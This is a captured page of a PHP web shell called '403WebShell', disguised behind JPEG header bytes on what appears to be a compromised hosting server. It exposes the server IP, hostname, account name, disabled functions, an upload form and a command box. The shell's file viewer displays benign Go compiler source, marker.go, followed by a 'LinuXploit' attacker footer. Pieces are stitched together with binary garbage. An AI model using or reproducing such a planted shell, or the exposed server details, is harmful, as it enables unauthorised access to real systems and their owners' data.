JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.86  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/src/cmd/compile/internal/dwarfgen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/src/cmd/compile/internal/dwarfgen/marker.go
// Copyright 2021 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package dwarfgen

import (
	"cmd/compile/internal/base"
	"cmd/compile/internal/ir"
	"cmd/internal/src"
)

// A ScopeMarker tracks scope nesting and boundaries for later use
// during DWARF generation.
type ScopeMarker struct {
	parents []ir.ScopeID
	marks   []ir.Mark
}

// checkPos validates the given position and returns the current scope.
func (m *ScopeMarker) checkPos(pos src.XPos) ir.ScopeID {
	if !pos.IsKnown() {
		base.Fatalf("unknown scope position")
	}

	if len(m.marks) == 0 {
		return 0
	}

	last := &m.marks[len(m.marks)-1]
	if xposBefore(pos, last.Pos) {
		base.FatalfAt(pos, "non-monotonic scope positions\n\t%v: previous scope position", base.FmtPos(last.Pos))
	}
	return last.Scope
}

// Push records a transition to a new child scope of the current scope.
func (m *ScopeMarker) Push(pos src.XPos) {
	current := m.checkPos(pos)

	m.parents = append(m.parents, current)
	child := ir.ScopeID(len(m.parents))

	m.marks = append(m.marks, ir.Mark{Pos: pos, Scope: child})
}

// Pop records a transition back to the current scope's parent.
func (m *ScopeMarker) Pop(pos src.XPos) {
	current := m.checkPos(pos)

	parent := m.parents[current-1]

	m.marks = append(m.marks, ir.Mark{Pos: pos, Scope: parent})
}

// Unpush removes the current scope, which must be empty.
func (m *ScopeMarker) Unpush() {
	i := len(m.marks) - 1
	current := m.marks[i].Scope

	if current != ir.ScopeID(len(m.parents)) {
		base.FatalfAt(m.marks[i].Pos, "current scope is not empty")
	}

	m.parents = m.parents[:current-1]
	m.marks = m.marks[:i]
}

// WriteTo writes the recorded scope marks to the given function,
// and resets the marker for reuse.
func (m *ScopeMarker) WriteTo(fn *ir.Func) {
	m.compactMarks()

	fn.Parents = make([]ir.ScopeID, len(m.parents))
	copy(fn.Parents, m.parents)
	m.parents = m.parents[:0]

	fn.Marks = make([]ir.Mark, len(m.marks))
	copy(fn.Marks, m.marks)
	m.marks = m.marks[:0]
}

func (m *ScopeMarker) compactMarks() {
	n := 0
	for _, next := range m.marks {
		if n > 0 && next.Pos == m.marks[n-1].Pos {
			m.marks[n-1].Scope = next.Scope
			continue
		}
		m.marks[n] = next
		n++
	}
	m.marks = m.marks[:n]
}

Youez - 2016 - github.com/yon3zu
LinuXploit